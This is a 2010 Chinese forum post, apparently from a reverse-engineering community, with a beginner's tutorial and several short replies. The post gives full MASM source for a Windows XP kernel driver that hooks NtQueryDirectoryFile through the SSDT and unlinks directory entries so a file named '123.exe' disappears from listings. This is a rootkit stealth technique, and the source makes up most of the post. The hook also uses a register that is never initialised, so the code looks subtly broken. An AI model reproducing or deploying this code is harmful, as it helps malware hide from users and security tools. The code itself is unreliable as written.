首页
社区
课程
招聘
菜鸟的第一步实战SSDT HOOK实现文件隐藏
发表于: 2010-1-3 16:47 6165

菜鸟的第一步实战SSDT HOOK实现文件隐藏

2010-1-3 16:47
6165
今天花了不少时间终于自己写了个SSDT HOOK,也来发表一下第一次实战HOOK的心得和体会吧。
我用汇编写的,学习汇编的朋友也可以看下,其实汇编也挺好用的.....
这里实现文件隐藏是HOOK拦截NtQueryDirectoryFile函数来实现的.这个函数是WINDOWS查找目录文件用得函数,基本思想很简单,就是替换这个

函数让它一旦找到的是自己不想让系统看到的文件或目录就拦截下来.
其他的基础就不多说了关键说下代码实现过程中的问题
先附代码:
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\w2k\ntstatus.inc
include d:\masm32\include\w2k\ntddk.inc
include d:\masm32\include\w2k\native.inc
include d:\masm32\include\w2k\ntoskrnl.inc
includelib d:\masm32\lib\w2k\ntoskrnl.lib
include d:\masm32\Macros\Strings.mac
.data
_OldNtQueryDirectoryFileAddr dd ?
_Addr dd ?
.const
CCOUNTED_UNICODE_STRING "\\Device\\devHidDir", g_usDeviceName, 4
CCOUNTED_UNICODE_STRING "\\??\\slHidDir", g_usSymbolicLinkName, 4
CCOUNTED_UNICODE_STRING "123.exe", ProcessName, 4
.code
_NewNtQueryDirectoryFile proc hFile,hEvent,ApcRoutine,ApcContext,\
                        IoStatusBlock,FileInformation,FileInformationBufferLength,\
                        FileInformationClass,ReturnSingleEntry,FileName,RestartScan
         invoke NtQueryDirectoryFile,hFile,hEvent,ApcRoutine,ApcContext,\
                        IoStatusBlock,FileInformation,FileInformationBufferLength,\
                        FileInformationClass,ReturnSingleEntry,FileName,RestartScan
         pushad
         test eax,eax
         jnz  _Exit
         .if FileInformationClass == FileBothDirectoryInformation
         mov esi,FileInformation
         mov ebx,esi                         ;ebx指向第一个目录信息结构
         add esi,[esi]                        ;esi指向第二个目录信息结构
         @@:
         add esi,5eh;在5eh偏移处取得文件名字(具体结构可以查MSDN FILE_BOTH_DIR_INFORMATION)。
         invoke RtlInitUnicodeString,edi,esi
         invoke RtlCompareUnicodeString,addr ProcessName,edi,1
         .if !eax;判断是否匹配成功
          invoke DbgPrint, $CTA0("\nsuccessful \n")
             .if dword ptr [esi-5eh]==0      ;判断当前节点是否是表尾
                 mov dword ptr [ebx],0       ;是表尾则把当前节点的前一个节点指向0
                 jmp _Exit
             .else                           ;如果不是表尾
                 sub esi,5eh
                 mov edx,[esi]
                 add dword ptr [ebx],edx     ;则将前一个节点指向当前节点的后一个
                 add esi,[esi]               ;这里仍要继续扫描
                 jmp @B
              .endif
         .else                               ;如果匹配不成功将指针指向下个节点继续扫描
              sub esi,5eh
              cmp dword ptr [esi],0          ;判断是否扫描到表尾
              jz  _Exit
              mov ebx,esi
              add esi,[esi]
              jmp @B
         .endif
         .endif
   _Exit:
         popad
         ret
_NewNtQueryDirectoryFile endp

_HookApi proc
         pushad
         mov eax,[KeServiceDescriptorTable];取SystemServiceDescriptorTable地址
         mov esi,[eax];取SSDT得地址
         mov ebx,dword ptr [esi+8]
         imul ebx,4
         invoke MmCreateMdl,NULL,dword ptr [esi],ebx;这里创建一个MDL用来写入只读的SSDT
         or eax,eax
         jz _ExitErr
         mov esi,eax
         invoke MmBuildMdlForNonPagedPool,esi
         assume esi: ptr MDL
         or [esi].MdlFlags,MDL_MAPPED_TO_SYSTEM_VA
         invoke MmMapLockedPages,esi,KernelMode
         mov esi,eax
         mov eax,ZwQueryDirectoryFile ;JMP XXXX的地址
         inc eax
         inc eax;inc两次到XXXX
         mov eax,[eax];取XXXX得地址
         mov eax,[eax];取XXXX指向的函数基地址
         inc eax;第二个字节放得是服务号
         movzx ecx,byte ptr [eax]
         sal ecx,2
         add esi,ecx ;esi指向NtQueryDirectoryFile
         mov _Addr,esi
         mov edx,dword ptr [esi]
         mov _OldNtQueryDirectoryFileAddr,edx
         mov edi,offset _NewNtQueryDirectoryFile
         cli
         mov dword ptr [esi],edi
         sti
         popad
         mov eax,STATUS_SUCCESS
_ExitErr:
         ret
_HookApi endp

DriverUnload proc pDriverObject:PDRIVER_OBJECT
         pushad
         mov esi,_OldNtQueryDirectoryFileAddr
         mov eax,_Addr
         cli
         mov dword ptr [eax],esi
         sti
         invoke IoDeleteSymbolicLink,addr g_usSymbolicLinkName
         mov eax,pDriverObject
         invoke IoDeleteDevice,(DRIVER_OBJECT ptr [eax]).DeviceObject
         popad
         ret
DriverUnload endp

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING
            local status:NTSTATUS
            local pDeviceObject:PVOID
            mov        status,STATUS_DEVICE_CONFIGURATION_ERROR
            invoke IoCreateDevice,pDriverObject,0,addr g_usDeviceName,FILE_DEVICE_UNKNOWN,\
                        0,FALSE,addr pDeviceObject
            .if   eax==STATUS_SUCCESS
                invoke IoCreateSymbolicLink,addr g_usSymbolicLinkName,addr g_usDeviceName
                .if        eax==STATUS_SUCCESS
                mov eax,pDriverObject
                assume eax:ptr DRIVER_OBJECT
                mov [eax].DriverUnload,offset DriverUnload
                assume eax:nothing
                invoke _HookApi
                mov status,STATUS_SUCCESS
                .else
                invoke IoDeleteDevice,pDeviceObject
                .endif
            .endif
            mov eax,status
            ret
DriverEntry endp
end DriverEntry

代码我觉得难理解的地方都详细注释了大家可以看看
我说下自己写的过程中觉得难理解的地方吧
1. 为什么这5步能取到服务号?
         mov eax,ZwQueryDirectoryFile ;JMP XXXX的地址
         inc eax
         inc eax;inc两次到XXXX
         mov eax,[eax];取XXXX得地址
         mov eax,[eax];取XXXX指向的函数基地址
         inc eax;第二个字节放得是服务号
这个其实跟代码组织有关,大家不妨用OD任意反汇编一个ASM编译的执行文件,你会发现编译器在函数调用即CALL 后的地址并不是函数的真正的

地址,F7跟进这个CALL 你可以看到会跳到一个JMP XXXXXXXX的代码处,而这个XXXXXXXX地址里面存的才是导入表中函数地址.所以它会mov

eax,ZwQueryDirectoryFile然后+2(jmp这里机器码为FF25两个字节)就取到了JMP跳到的地址,在取这个地址的内容就是函数地址啦!
而服务号一般都是ZW函数入口第二个字节,所以inc eax就可以取到了!
2.SSDT在现在XP版本上是只读的,要用MDL来映射写入只读的SSDT这方面可以网上搜具体的原理
3.在实现隐藏的时候是脱链的方法,吧链表中间一个项去掉然后缝合好...,这个数据结构应该很多不多说了.
4.KeServiceDescriptorTable刚开始很难理解怎么这个东西好像什么都没用自己就能给出地址真神奇啊...,这里是导出的变量,它本身内容填好

了,所以我们可以直接取就是了.
在XP+SP3上调试成功,其他的可能有问题...

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (7)
雪    币: 656
活跃值: (448)
能力值: ( LV12,RANK:360 )
在线值:
发帖
回帖
粉丝
2
支持下,做个记号,用的时候来看看
2010-1-3 16:50
0
雪    币: 284
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
用C写的好好的,你非用asm写个C格式驱动。累啊,楼主哥们
2010-1-3 18:18
0
雪    币: 59
活跃值: (41)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
呵其实那种语言都一样,我喜欢汇编的感觉........
2010-1-3 18:56
0
雪    币: 284
活跃值: (106)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
5
汇编写驱动……厉害……
2010-1-4 00:23
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
6
好啊,不错不错!
2010-1-4 09:30
0
雪    币: 109
活跃值: (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
7
收下了。。。也正在学这个ssdt
2010-1-4 14:13
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
各人爱好不同 汇编感觉太。。。
2010-1-4 15:47
0
游客
登录 | 注册 方可回帖
返回
//